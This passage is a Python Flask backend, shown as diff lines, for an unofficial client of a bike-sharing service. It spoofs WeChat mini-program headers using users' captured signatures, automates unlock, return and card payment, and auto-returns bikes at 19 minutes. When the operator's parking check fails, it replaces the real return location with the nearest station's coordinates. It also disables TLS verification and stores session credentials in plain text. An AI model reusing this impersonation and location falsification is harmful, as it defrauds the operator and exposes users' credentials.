jsonify({"rtn_code": 401, "message": "请先登录"}) + + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT wx_signature, token_id FROM users WHERE id = ?", (user["id"],)) + row = cursor.fetchone() + conn.close() + + wx_signature = row["wx_signature"] if row else None + token_id = row["token_id"] if row else "1291378" + + if not wx_signature or not token_id: + return jsonify({ + "rtn_code": 0, + "data": { + "true_name": None, + "out_money": None, + "save_money": None, + "has_auth": False + } + }) + + # 有凭据,调用后端API获取真实信息 + true_name = None + out_money = None + save_money = None + + try: + user_info = request_with_user_auth(user["id"], "GET", "/user/info", _silent=True) + if user_info and user_info.get("rtn_code") == 0: + data = user_info.get("data", {}) + true_name = data.get("trueName") or data.get("nickName") + account = data.get("account", {}) + out_money = account.get("outMoney") + save_money = account.get("saveMoney") + except: + pass + + return jsonify({ + "rtn_code": 0, + "data": { + "true_name": true_name, + "out_money": out_money, + "save_money": save_money, + "has_auth": True + } + }) + + +@app.route("/api/auth/save_token", methods=["POST"]) +def save_xbniu_token(): + """保存用户的微信签名和token_id""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + wx_signature = data.get("wx_signature", "").strip() + token_id = data.get("token_id", "1291378").strip() + + conn = get_db() + cursor = conn.cursor() + cursor.execute( + "UPDATE users SET wx_signature = ?, token_id = ? WHERE id = ?", + (wx_signature if wx_signature else None, token_id if token_id else "1291378", user["id"]) + ) + conn.commit() + conn.close() + + # 保存凭据后,启动或停止订单检测 + if wx_signature: + start_user_order_checker(user["id"]) + else: + stop_user_order_checker(user["id"]) + + return jsonify({ + "rtn_code": 0, + "message": "签名已保存" + }) + + +@app.route("/api/auth/verify_token", methods=["POST"]) +def verify_xbniu_token(): + """验证微信签名是否有效""" + data = request.get_json() or {} + wx_signature = data.get("token", "").strip() + token_id = data.get("token_id", "").strip() + + if not wx_signature: + return jsonify({"rtn_code": 400, "message": "签名不能为空"}) + + # 伪造正常访问地图请求 + timestamp = str(int(time.time())) + test_headers = { + "Host": "bike.sdlongren.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", + "Content-Type": "application/json", + "Accept": "*/*", + "hsf-x-timestamp": timestamp, + "hsf-x-tokenid": token_id, + "hsf-x-signature": wx_signature, + "platform": "xiaobai", + } + + try: + resp = requests.get( + "https://bike.sdlongren.com/project/map", + params={"type": "1"}, + headers=test_headers, + timeout=5 + ) + result = resp.json() + + # rtn_code=0 表示有效 + if result.get("rtn_code") == 0 and result.get("data"): + return jsonify({ + "rtn_code": 0, + "valid": True, + "message": "签名有效" + }) + else: + return jsonify({ + "rtn_code": 0, + "valid": False, + "message": result.get("message", "签名无效") + }) + except Exception as e: + return jsonify({ + "rtn_code": 0, + "valid": False, + "message": f"验证失败: {str(e)}" + }) + + +@app.route("/api/auth/packages", methods=["GET"]) +def get_user_packages(): + """获取用户的已购卡包信息""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + token_id, wx_signature = get_user_auth(user["id"]) + if not token_id or not wx_signature: + return jsonify({ + "rtn_code": 400, + "message": "请先在个人中心填写 Token ID 和签名", + "data": {"packages": [], "has_auth": False} + }) + + # 请求卡包接口 + timestamp = str(int(time.time())) + headers = { + "Host": "bike.sdlongren.com", + "hsf-x-signature": wx_signature, + "hsf-x-timestamp": timestamp, + "hsf-x-tokenid": token_id, + "xweb_xhr": "1", + "platform": "xiaobai", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c38)XWEB/8518", + "content-type": "application/json", + "accept": "*/*", + "referer": "https://servicewechat.com/wx10426ca961518f43/98/page-frame.html", + } + + try: + resp = requests.get( + "https://bike.sdlongren.com/user/packages", + headers=headers, + timeout=10, + verify=False + ) + result = resp.json() + + if result.get("rtn_code") == 0: + packages = result.get("data", {}).get("bike_packages", []) + # 简化返回数据 + simplified = [] + for pkg in packages: + simplified.append({ + "id": pkg.get("id"), + "packageId": pkg.get("packageId"), + "name": pkg.get("name"), + "bikeTypeName": pkg.get("bikeTypeName"), + "useTypeName": pkg.get("useTypeName"), + "startTime": pkg.get("startTime"), + "endTime": pkg.get("endTime"), + "remainDays": pkg.get("remainDays"), + "limitTimes": pkg.get("limitTimes"), + "remainTimes": pkg.get("remainTimes"), + "useTimes": pkg.get("useTimes"), + "status": pkg.get("status"), + "statusName": pkg.get("statusName"), + "remainTimes": pkg.get("remainTimes"), + "freeMins": pkg.get("free_mins"), + "price": pkg.get("price"), + }) + return jsonify({ + "rtn_code": 0, + "message": "success", + "data": { + "has_auth": True, + "packages": simplified, + "count": len(simplified) + } + }) + else: + return jsonify({ + "rtn_code": result.get("rtn_code", 1), + "message": result.get("message", "获取卡包失败"), + "data": {"packages": [], "has_auth": True} + }) + except Exception as e: + return jsonify({ + "rtn_code": 500, + "message": f"请求失败: {str(e)}", + "data": {"packages": [], "has_auth": True} + }) + + +def get_user_auth(user_id: int) -> dict: + """获取用户的认证凭据,返回 (token_id, wx_signature) 或 (None, None)""" + if not user_id: + return None, None + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT token_id, wx_signature FROM users WHERE id = ?", (user_id,)) + row = cursor.fetchone() + conn.close() + if row and row["wx_signature"] and row["token_id"]: + return row["token_id"], row["wx_signature"] + return None, None + + +def get_user_display_name(user_id: int) -> str: + """ + 获取用户显示名称: + - 有凭据且能获取到真实姓名 → "战忠沅" + - 有凭据但获取失败 → "战忠沅(zzy@test.com)" + - 无凭据 → "zzy@test.com" + """ + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT email, wx_signature, token_id FROM users WHERE id = ?", (user_id,)) + row = cursor.fetchone() + conn.close() + + if not row: + return "未知用户" + + email = row["email"] + wx_signature = row["wx_signature"] + token_id = row["token_id"] + + # 无凭据,显示邮箱 + if not wx_signature or not token_id: + return email + + # 有凭据,尝试获取真实姓名 + try: + user_info = request_with_user_auth(user_id, "GET", "/user/info", _silent=True) + if user_info and user_info.get("rtn_code") == 0: + true_name = user_info.get("data", {}).get("trueName") + if true_name: + return true_name + except: + pass + + # 获取失败,显示邮箱前缀 + return email.split("@")[0] + + +def request_with_user_auth(user_id: int, method: str, path: str, params: dict = None, data: dict = None, _silent: bool = False) -> dict: + """使用用户凭据发起API请求""" + token_id, wx_signature = get_user_auth(user_id) + if not token_id or not wx_signature: + return {"rtn_code": 401, "message": "用户未配置微信签名凭据"} + + timestamp = str(int(time.time())) + # 使用完整headers(和浏览器抓包一致) + headers = { + "Host": "bike.sdlongren.com", + "hsf-x-timestamp": timestamp, + "hsf-x-tokenid": token_id, + "hsf-x-signature": wx_signature, + "xweb_xhr": "1", + "platform": "xiaobai", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090c38)XWEB/8518", + "content-type": "application/json", + "accept": "*/*", + "accept-language": "*", + "sec-fetch-site": "cross-site", + "sec-fetch-mode": "cors", + "sec-fetch-dest": "empty", + "referer": "https://servicewechat.com/wx10426ca961518f43/98/page-frame.html", + } + + url = f"{BASE_URL}{path}" + + # 获取用户真实姓名用于日志 + user = None + try: + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT email FROM users WHERE id = ?", (user_id,)) + row = cursor.fetchone() + conn.close() + if row: + user = row["email"] + except: + pass + + if not _silent: + print(f"[request_with_user_auth] user={user}, url={url}, method={method}") + + try: + if method.upper() == "GET": + resp = requests.get(url, params=params, headers=headers, timeout=10, verify=False) + else: + resp = requests.request(method, url, params=params, json=data, headers=headers, timeout=10, verify=False) + + # 确保响应显示为中文 + body_preview = resp.text[:200] + try: + parsed = json.loads(body_preview) + body_preview = json.dumps(parsed, ensure_ascii=False) + except: + pass + + if not _silent: + print(f"[request_with_user_auth] response status={resp.status_code}, body={body_preview}") + + return resp.json() + except Exception as e: + import traceback + if not _silent: + print(f"[request_with_user_auth] 请求异常: {type(e).__name__}: {e}") + traceback.print_exc() + return {"rtn_code": 500, "message": f"请求失败: {type(e).__name__}: {str(e)}"} + + +def _try_card_pay_auto(user_id: int, order_id: str, code: str) -> dict: + """ + 自动尝试用月卡/周卡支付订单(内部工具函数)。 + 返回: + {"success": True, "message": "xxx"} — 月卡支付成功 + {"success": False, "message": "xxx"} — 无卡 / 支付失败 / 需微信 + """ + # 1. 查询可用支付方式 + methods_result = request_with_user_auth( + user_id, "GET", "/pay/methods", + params={"code": code} + ) + if methods_result.get("rtn_code") != 0: + return {"success": False, "message": "查询支付方式失败"} + + data = methods_result.get("data", {}) + methods = data if isinstance(data, list) else data.get("payMethods", data.get("methods", [])) + card_methods = [m for m in methods if str(m.get("type")) in ("3", "4")] + + if not card_methods: + return {"success": False, "message": "没有可用的月卡/周卡"} + + # 2. 优先选 get_type=2(推荐激活),否则取第一个 + preferred = card_methods[0] + for m in card_methods: + if m.get("get_type") == 2: + preferred = m + break + + pay_type = str(preferred.get("type", "3")) + package_id = str(preferred.get("package_id", "")) + if not package_id: + return {"success": False, "message": "卡包ID为空"} + + card_name = "月卡" if pay_type == "3" else "周卡" + print(f"[_try_card_pay_auto] 使用{card_name}支付: order_id={order_id}, code={code}, package_id={package_id}") + + # 3. 调用支付接口 + pay_result = request_with_user_auth( + user_id, "POST", "/pay/submit", + data={ + "platform": "1", + "order_id": order_id, + "code": code, + "type": pay_type, + "package_id": package_id + } + ) + + pay_status = str(pay_result.get("data", [{}])[0].get("status", "") if isinstance(pay_result.get("data"), list) else pay_result.get("data", {}).get("status", "")) + if pay_status == "0": + return {"success": True, "message": f"{card_name}支付成功"} + elif pay_status == "1": + return {"success": False, "message": f"{card_name}余额不足,需要微信支付"} + else: + return {"success": False, "message": pay_result.get("message", "支付失败")} + + +def get_nearest_park_point(lat: float, lng: float) -> dict: + """获取最近的停车点坐标""" + # 从地图数据中获取停车点 + result = request_api("GET", "/project/map", params={"type": "1"}) + if result.get("rtn_code") != 0 or not result.get("data"): + return None + + bike_stations = result["data"].get("bicycleStation", []) + if not bike_stations: + return None + + # 计算最近停车点 + import math + nearest = None + min_dist = float('inf') + for station in bike_stations: + station_lat = station.get("latitude") or station.get("lat") + station_lng = station.get("longitude") or station.get("lng") + if not station_lat or not station_lng: + continue + # 简单距离计算(不精确但够用) + dist = math.sqrt((station_lat - lat) ** 2 + (station_lng - lng) ** 2) + if dist < min_dist: + min_dist = dist + nearest = station + + return nearest + + +@app.route("/api/order/status") +def order_status(): + """获取用户订单状态(需要用户已配置凭据)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + # 检查用户是否有凭据 + token_id, wx_signature = get_user_auth(user["id"]) + if not token_id or not wx_signature: + return jsonify({ + "rtn_code": 0, + "has_credentials": False, + "message": "用户未配置微信签名" + }) + + # 调用用户信息接口(/user/info 返回 rtn_code,且包含 nonDealOrder) + result = request_with_user_auth(user["id"], "GET", "/user/info") + + if result.get("rtn_code") != 0: + return jsonify({ + "rtn_code": result.get("rtn_code", 500), + "has_credentials": True, + "message": result.get("message", "获取失败") + }) + + data = result.get("data", {}) + non_deal_order = data.get("nonDealOrder") + + if not non_deal_order or not non_deal_order.get("order_id"): + return jsonify({ + "rtn_code": 0, + "has_credentials": True, + "has_order": False, + "order": None + }) + + return jsonify({ + "rtn_code": 0, + "has_credentials": True, + "has_order": True, + "order": { + "order_id": non_deal_order.get("order_id"), + "status": non_deal_order.get("status"), # 1=未支付, 2=进行中 + "code": non_deal_order.get("code"), # 车辆编码 + "type": non_deal_order.get("type"), + "lock_protocol_id": non_deal_order.get("lock_protocol_id"), + } + }) + + +@app.route("/api/order/unlock", methods=["POST"]) +def order_unlock(): + """一键开锁(使用用户凭据)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + code = data.get("code", "") # 车辆编码 + latitude = data.get("latitude") + longitude = data.get("longitude") + + if not code: + return jsonify({"rtn_code": 400, "message": "缺少车辆编码"}) + if not latitude or not longitude: + return jsonify({"rtn_code": 400, "message": "缺少位置信息"}) + + user_name = get_user_display_name(user["id"]) + print(f"[操作日志] 一键开锁: code={code}, lat={latitude}, lng={longitude}, user={user_name}") + + # 先获取车辆信息 + bike_result = request_api("POST", "/project/bicycle", data={"code": code}) + if bike_result.get("rtn_code") != 0: + return jsonify({ + "rtn_code": bike_result.get("rtn_code", 500), + "message": bike_result.get("message", "获取车辆信息失败") + }) + + # 创建订单 + order_result = request_with_user_auth( + user["id"], "POST", "/record/order", + data={ + "code": code, + "start_longitude": longitude, + "start_latitude": latitude + } + ) + + if order_result.get("rtn_code") != 0 or not order_result.get("data", {}).get("order_id"): + order_msg = order_result.get("message", "创建订单失败") + # 检测是否因为存在未支付订单 + if "未支付" in order_msg or "待支付" in order_msg or "non" in order_msg.lower(): + # 尝试获取未支付订单并自动月卡支付 + print(f"[开锁] 检测到未支付订单,尝试自动月卡支付: code={code}") + info_result = request_with_user_auth(user["id"], "GET", "/user/info") + non_deal = info_result.get("data", {}).get("nonDealOrder") + if non_deal and non_deal.get("order_id"): + unpaid_order_id = non_deal["order_id"] + unpaid_code = non_deal.get("code", code) + pay_result = _try_card_pay_auto(user["id"], unpaid_order_id, unpaid_code) + if pay_result["success"]: + print(f"[开锁] 月卡支付成功,重新创建订单: {pay_result['message']}") + # 月卡支付成功,重新尝试创建订单 + order_result = request_with_user_auth( + user["id"], "POST", "/record/order", + data={ + "code": code, + "start_longitude": longitude, + "start_latitude": latitude + } + ) + else: + return jsonify({ + "rtn_code": 400, + "message": f"未支付订单处理失败: {pay_result['message']}", + "need_pay": True, + "unpaid_order_id": unpaid_order_id, + "unpaid_code": unpaid_code + }) + + # 再次检查是否成功 + if order_result.get("rtn_code") != 0 or not order_result.get("data", {}).get("order_id"): + return jsonify({ + "rtn_code": order_result.get("rtn_code", 500), + "message": order_result.get("message", "创建订单失败") + }) + + order_id = order_result["data"]["order_id"] + + # 调用 bicycleQrOrder 实际开锁(小程序 webOpen 逻辑) + open_result = request_with_user_auth( + user["id"], "POST", "/record/qrOrder", + data={ + "order_id": order_id + } + ) + + if open_result.get("rtn_code") == 0: + # 开锁成功,创建 rental 记录(标记来源为一键开锁,不显示横幅) + conn = get_db() + cursor = conn.cursor() + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + now_beijing = dt.datetime.now(tz) + end_time = now_beijing + dt.timedelta(minutes=19) + cursor.execute(""" + INSERT INTO rentals (id, order_id, bike_code, email, user_id, start_time, end_time, expired, source) + VALUES (?, ?, ?, ?, ?, ?, ?, 0, 'unlock') + """, (int(order_id), order_id, code, user["email"], user["id"], + now_beijing.strftime("%Y-%m-%d %H:%M:%S"), + end_time.strftime("%Y-%m-%d %H:%M:%S"))) + conn.commit() + conn.close() + + # 启动19分钟自动还车计时器 + start_rental_timer( + rental_id=int(order_id), + email=user["email"], + bike_code=code, + duration_minutes=19, + user_id=user["id"] + ) + return jsonify({ + "rtn_code": 0, + "message": "开锁成功", + "order_id": order_id + }) + else: + return jsonify({ + "rtn_code": open_result.get("rtn_code", 500), + "message": open_result.get("message", "开锁失败"), + "order_id": order_id + }) + + +@app.route("/api/order/return", methods=["POST"]) +def order_return(): + """还车(使用用户凭据,自动处理位置)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + order_id = data.get("order_id") + latitude = data.get("latitude") + longitude = data.get("longitude") + + if not order_id: + return jsonify({"rtn_code": 400, "message": "缺少订单ID"}) + if not latitude or not longitude: + return jsonify({"rtn_code": 400, "message": "缺少位置信息"}) + + user_name = get_user_display_name(user["id"]) + print(f"[操作日志] 手动还车: order_id={order_id}, code={data.get('code','')}, lat={latitude}, lng={longitude}, user={user_name}") + + # 先尝试位置校验 + check_result = request_with_user_auth( + user["id"], "POST", "/record/checkLocation", + data={ + "longitude": longitude, + "latitude": latitude, + "bicycleCode": data.get("code", "") + } + ) + + use_nearest = False + if check_result.get("rtn_code") != 0 or check_result.get("parkNoShow") is True: + # 位置校验失败,找最近停车点 + nearest = get_nearest_park_point(latitude, longitude) + if nearest: + latitude = nearest.get("latitude") or nearest.get("lat") + longitude = nearest.get("longitude") or nearest.get("lng") + use_nearest = True + + # 执行还车 + return_result = request_with_user_auth( + user["id"], "POST", "/record/return", + data={ + "order_id": order_id, + "longitude": longitude, + "latitude": latitude + } + ) + + if return_result.get("rtn_code") == 0: + # 还车成功,停止计时器,更新 rental 记录 + _cancel_rental_timers(int(order_id)) + conn = get_db() + cursor = conn.cursor() + cursor.execute("UPDATE rentals SET expired = 1 WHERE id = ?", (order_id,)) + conn.commit() + conn.close() + + # 自动尝试月卡支付 + pay_result = _try_card_pay_auto(user["id"], str(order_id), data.get("code", "")) + pay_msg = pay_result.get("message", "") + + return jsonify({ + "rtn_code": 0, + "message": f"还车成功" + (f",{pay_msg}" if pay_result["success"] else ""), + "used_nearest": use_nearest, + "card_pay": pay_result + }) + else: + return jsonify({ + "rtn_code": return_result.get("rtn_code", 500), + "message": return_result.get("message", "还车失败") + }) + + +@app.route("/api/auth/status") +def auth_status(): + """获取登录状态""" + user = get_current_user() + if user: + return jsonify({ + "rtn_code": 0, + "data": { + "logged_in": True, + "email": user["email"] + } + }) + return jsonify({ + "rtn_code": 0, + "data": { + "logged_in": False + } + }) + + +@app.route("/api/visit", methods=["POST"]) +def record_visit(): + """ + 记录用户访问位置(小白超人即时位置) + body: {"latitude": 36.67, "longitude": 117.12} + """ + data = request.get_json() or {} + latitude = data.get("latitude") + longitude = data.get("longitude") + + if latitude is None or longitude is None: + return jsonify({"rtn_code": 400, "message": "缺少位置信息"}) + + # 获取当前用户邮箱(可选) + user = get_current_user() + email = user["email"] if user else None + + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + INSERT INTO user_visits (email, latitude, longitude, source) + VALUES (?, ?, ?, 'web') + """, (email, latitude, longitude)) + conn.commit() + conn.close() + + return jsonify({ + "rtn_code": 0, + "message": "位置已记录", + "data": {"email": email} + }) + + +# ========== 用车计时任务系统 ========== +RENTAL_DURATION_MINUTES = 20 # 默认20分钟免费时长 +TIMER_CHECK_INTERVAL = 30 # 定时器检查间隔(秒) + +# 活跃计时器字典:rental_id -> threading.Timer +_active_timers: dict = {} + +# 用户订单检测线程:user_id -> threading.Thread +_order_checker_threads: dict[int, threading.Thread] = {} +_order_checker_stop: dict[int, threading.Event] = {} +_checker_lock = threading.Lock() + +def _get_remaining_seconds(rental: dict) -> int: + """计算距离过期的秒数""" + import datetime + # 使用北京时间 (UTC+8) + now = datetime.datetime.now(datetime.timezone(datetime.timedelta(hours=8))) + end = datetime.datetime.strptime(rental["end_time"], "%Y-%m-%d %H:%M:%S") + end = end.replace(tzinfo=datetime.timezone(datetime.timedelta(hours=8))) + remaining = int((end - now).total_seconds()) + return max(0, remaining) + +def auto_return_bike(rental_id: int, user_id: int): + """自动还车 - 从 rental 记录获取信息并调用还车API(含重试)""" + conn = get_db() + cursor = conn.cursor() + + # 获取 rental 记录 + cursor.execute("SELECT * FROM rentals WHERE id = ?", (rental_id,)) + rental = cursor.fetchone() + + if not rental: + conn.close() + print(f"[自动还车] 记录不存在: rental_id={rental_id}") + return + + bike_code = rental["bike_code"] + + # 获取车辆信息(包含位置) + bike_result = request_api("POST", "/project/bicycle", data={"code": bike_code}) + + # 获取位置 + latitude = bike_result.get("data", {}).get("latitude", 36.67) if bike_result.get("data") else 36.67 + longitude = bike_result.get("data", {}).get("longitude", 116.98) if bike_result.get("data") else 116.98 + + # 调用还车API(含重试:最多3次,间隔5秒) + return_result = None + last_error = None + for attempt in range(1, 4): + try: + return_result = request_with_user_auth( + user_id, "POST", "/record/return", + data={ + "order_id": rental_id, + "longitude": longitude, + "latitude": latitude, + "code": bike_code + } + ) + if return_result.get("rtn_code") == 0: + print(f"[自动还车] 第{attempt}次调用成功") + break + else: + last_error = f"API返回非0: {return_result.get('message')}" + print(f"[自动还车] 第{attempt}次调用失败: {last_error}") + except Exception as e: + last_error = str(e) + print(f"[自动还车] 第{attempt}次调用异常: {last_error}") + + if attempt < 3: + import time as _t + _t.sleep(5) # 重试前等5秒 + + # 还车成功后自动尝试月卡支付 + if return_result and return_result.get("rtn_code") == 0: + try: + pay_result = _try_card_pay_auto(user_id, str(rental_id), bike_code) + print(f"[自动还车] 月卡支付结果: {pay_result}") + except Exception as e: + print(f"[自动还车] 月卡支付异常: {e}") + elif last_error: + print(f"[自动还车] 所有重试均失败: {last_error}") + + # 无论成功失败,都标记 expired=1(防止死记录) + cursor.execute("UPDATE rentals SET expired = 1 WHERE id = ?", (rental_id,)) + conn.commit() + conn.close() + + # 取消计时器 + _cancel_rental_timers(rental_id) + + status = "成功" if return_result and return_result.get("rtn_code") == 0 else "失败" + print(f"[自动还车] rental_id={rental_id}, bike={bike_code}, {status}") + +def _schedule_reminder(rental_id: int, delay_seconds: int, reminder_type: str, email: str, bike_code: str, user_id: int = None): + """调度单个提醒""" + def fire(): + conn = get_db() + cursor = conn.cursor() + + # 再次检查是否已还车或已发过 + cursor.execute("SELECT * FROM rentals WHERE id = ?", (rental_id,)) + rental = cursor.fetchone() + + if not rental or rental["expired"] == 1: + conn.close() + return + + # 标记已通知 + col = f"notified_{reminder_type}" + if col in [d[0] for d in cursor.description] and rental[col] == 0: + cursor.execute(f"UPDATE rentals SET {col} = 1 WHERE id = ?", (rental_id,)) + conn.commit() + conn.close() + + # 发送邮件 + if reminder_type == "0": + # 超时:自动还车 + 邮件通知 + subject = "【小白超人】免费时长已超时 - 已自动还车" + body = f"""您好! + +您的车辆 #{bike_code} 的 19 分钟免费时长已超时。 + +系统已自动为您还车,请确认是否已停放到指定位置。 + +如有疑问请联系客服。 + +—— 小白超人""" + + # 自动还车 + if user_id: + try: + # 获取用户位置信息(暂时用默认位置) + auto_return_bike(rental_id, user_id) + body += "\n\n【已执行自动还车】" + except Exception as e: + print(f"[自动还车] 失败: {e}") + body += "\n\n【自动还车失败,请手动还车】" + else: + minutes = int(reminder_type) + subject = f"【小白超人】用车提醒:还剩 {minutes} 分钟" + body = f"""您好! + +您的车辆 #{bike_code} 还剩 {minutes} 分钟免费时长即将到期。 + +请注意安排还车时间。 + +—— 小白超人""" + + send_email(email, subject, body) + else: + conn.close() + + timer = threading.Timer(delay_seconds, fire) + timer.daemon = True + timer.start() + + # 记录活跃计时器 + if rental_id not in _active_timers: + _active_timers[rental_id] = [] + _active_timers[rental_id].append(timer) + return timer + +def _cancel_rental_timers(rental_id: int): + """取消某次租车的所有计时器""" + if rental_id in _active_timers: + for t in _active_timers[rental_id]: + t.cancel() + del _active_timers[rental_id] + +def start_rental_timer(rental_id: int, email: str, bike_code: str, duration_minutes: int, user_id: int = None): + """为一次租车启动所有邮件提醒""" + # 取消旧的(理论上不会有,但保险起见) + _cancel_rental_timers(rental_id) + _active_timers[rental_id] = [] + + remaining = duration_minutes * 60 # 剩余秒数 + + # 各档位提醒(分钟) + reminders = [10, 5, 3, 2, 1, 0] + + for mins in reminders: + delay = remaining - (mins * 60) + if delay > 0: + _schedule_reminder(rental_id, delay, str(mins), email, bike_code, user_id) + elif delay == 0: + _schedule_reminder(rental_id, 0, str(mins), email, bike_code, user_id) + +def restore_active_timers(): + """启动时恢复所有未过期的计时器(跨进程持久化)""" + conn = get_db() + cursor = conn.cursor() + + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) # 北京时间 + now_beijing = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S") + cursor.execute(""" + SELECT * FROM rentals + WHERE expired = 0 + AND end_time > ? + """, (now_beijing,)) + + for rental in cursor.fetchall(): + remaining = _get_remaining_seconds(dict(rental)) + if remaining > 60: # 至少还剩60秒才调度 + start_rental_timer( + rental["id"], + rental["email"], + rental["bike_code"], + int(remaining / 60) + 1 # 向上取整分钟 + ) + + conn.close() + print(f"[计时系统] 已恢复 {len(_active_timers)} 个活跃计时器") + + +# ========== 用户订单检测系统 ========== +# 每10分钟检查一次有凭据用户的微信订单状态 +ORDER_CHECK_INTERVAL = 600 # 10分钟 + + +def start_user_order_checker(user_id: int): + """为指定用户启动订单检测守护线程""" + with _checker_lock: + # 如果已有线程在跑,跳过 + if user_id in _order_checker_threads and _order_checker_threads[user_id].is_alive(): + return + + stop_event = threading.Event() + _order_checker_stop[user_id] = stop_event + t = threading.Thread( + target=_user_order_checker_loop, + args=(user_id, stop_event), + daemon=True, + name=f"order-checker-{user_id}" + ) + t.start() + _order_checker_threads[user_id] = t + print(f"[订单检测] 为用户 {user_id} 启动检测线程") + + +def stop_user_order_checker(user_id: int): + """停止指定用户的订单检测线程""" + with _checker_lock: + if user_id in _order_checker_stop: + _order_checker_stop[user_id].set() + del _order_checker_stop[user_id] + if user_id in _order_checker_threads: + del _order_checker_threads[user_id] + print(f"[订单检测] 已停止用户 {user_id} 的检测线程") + + +def _user_order_checker_loop(user_id: int, stop_event: threading.Event): + """用户订单检测线程主循环""" + import datetime as dt + + while not stop_event.is_set(): + try: + _check_user_order(user_id) + except Exception as e: + print(f"[订单检测] 用户 {user_id} 检测异常: {e}") + + # 等待10分钟或被停止 + stop_event.wait(ORDER_CHECK_INTERVAL) + + +def _check_user_order(user_id: int): + """检查单个用户的微信订单状态并同步到本地""" + import datetime as dt + + # 1. 验证用户仍有凭据 + token_id, wx_signature = get_user_auth(user_id) + if not token_id or not wx_signature: + print(f"[订单检测] 用户 {user_id} 无凭据,停止检测") + stop_user_order_checker(user_id) + return + + # 2. 获取用户邮箱 + conn = get_db() + cursor = conn.cursor() + cursor.execute("SELECT email FROM users WHERE id = ?", (user_id,)) + row = cursor.fetchone() + if not row: + conn.close() + stop_user_order_checker(user_id) + return + email = row["email"] + conn.close() + + # 3. 查微信订单状态 + info = request_with_user_auth(user_id, "GET", "/user/info", _silent=True) + if info.get("rtn_code") != 0: + # 102001 = token失效,跳过 + if info.get("rtn_code") == 102001: + print(f"[订单检测] 用户 {user_id} 凭据已失效") + return + + non_deal = info.get("data", {}).get("nonDealOrder") + + if not non_deal or not non_deal.get("order_id"): + # 无活跃订单 → 检查本地是否有残留 active 记录 + _cleanup_stale_rentals(user_id) + return + + order_id = str(non_deal.get("order_id")) + order_status = non_deal.get("status") # 1=未支付, 2=进行中 + + if order_status != 2: + # status=1(未支付) 不处理 + return + + # 4. 有进行中订单 → 查本地是否已有记录 + conn = get_db() + cursor = conn.cursor() + cursor.execute( + "SELECT id, source, expired, end_time FROM rentals WHERE order_id = ? AND user_id = ?", + (order_id, user_id) + ) + existing = cursor.fetchone() + + if existing and existing["source"] in ("unlock", "sync") and existing["expired"] == 0: + # 已有正常计时中的记录,跳过 + conn.close() + return + + # 5. 查订单详情 + detail = request_with_user_auth(user_id, "GET", "/record/detail", + params={"order_id": order_id}, _silent=True) + if detail.get("rtn_code") != 0 or not detail.get("data"): + conn.close() + return + + detail_data = detail["data"] + minutes = int(detail_data.get("minutes", 0)) + begin_time_str = detail_data.get("beginTime", "") + code = detail_data.get("code", non_deal.get("code", "")) + + # 6. 计算剩余时间(19分钟上限) + remaining = max(19 - minutes, 1) + tz = dt.timezone(dt.timedelta(hours=8)) + now = dt.datetime.now(tz) + end_time = now + dt.timedelta(minutes=remaining) + end_str = end_time.strftime("%Y-%m-%d %H:%M:%S") + start_str = now.strftime("%Y-%m-%d %H:%M:%S") + + if existing: + # 已有记录:升级 reminder 或重新激活过期记录 + rental_id = existing["id"] + cursor.execute(""" + UPDATE rentals SET expired = 0, source = 'sync', + start_time = ?, end_time = ?, email = ? + WHERE id = ? + """, (start_str, end_str, email, rental_id)) + old_source = existing["source"] + print(f"[订单检测] 升级租车记录: rental_id={rental_id}, order_id={order_id}, " + f"source={old_source}→sync, 剩余={remaining}分钟") + else: + # 新记录 + cursor.execute(""" + INSERT INTO rentals (order_id, bike_code, email, user_id, + start_time, end_time, expired, source) + VALUES (?, ?, ?, ?, ?, ?, 0, 'sync') + """, (order_id, code, email, user_id, start_str, end_str)) + rental_id = cursor.lastrowid + print(f"[订单检测] 创建新租车记录: rental_id={rental_id}, order_id={order_id}, " + f"code={code}, 剩余={remaining}分钟") + + # 清理同车的旧 reminder 记录(不再需要) + cursor.execute(""" + UPDATE rentals SET expired = 1 WHERE user_id = ? AND bike_code = ? AND source = 'reminder' AND expired = 0 + """, (user_id, code)) + cleaned = cursor.rowcount + if cleaned: + print(f"[订单检测] 已清理 {cleaned} 条旧的 reminder 记录") + + conn.commit() + conn.close() + + # 7. 启动计时器 + _cancel_rental_timers(rental_id) + start_rental_timer(rental_id, email, code, remaining, user_id) + + +def _cleanup_stale_rentals(user_id: int): + """用户无活跃订单时,清理本地残留的 active 记录""" + import datetime as dt + tz = dt.timezone(dt.timedelta(hours=8)) + now_str = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S") + + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + SELECT id, order_id, source FROM rentals + WHERE user_id = ? AND expired = 0 AND end_time < ? + """, (user_id, now_str)) + + for row in cursor.fetchall(): + rental_id = row["id"] + _cancel_rental_timers(rental_id) + cursor.execute("UPDATE rentals SET expired = 1 WHERE id = ?", (rental_id,)) + print(f"[订单检测] 清理过期记录: rental_id={rental_id}, order_id={row['order_id']}, source={row['source']}") + + conn.commit() + conn.close() + + +def start_all_order_checkers(): + 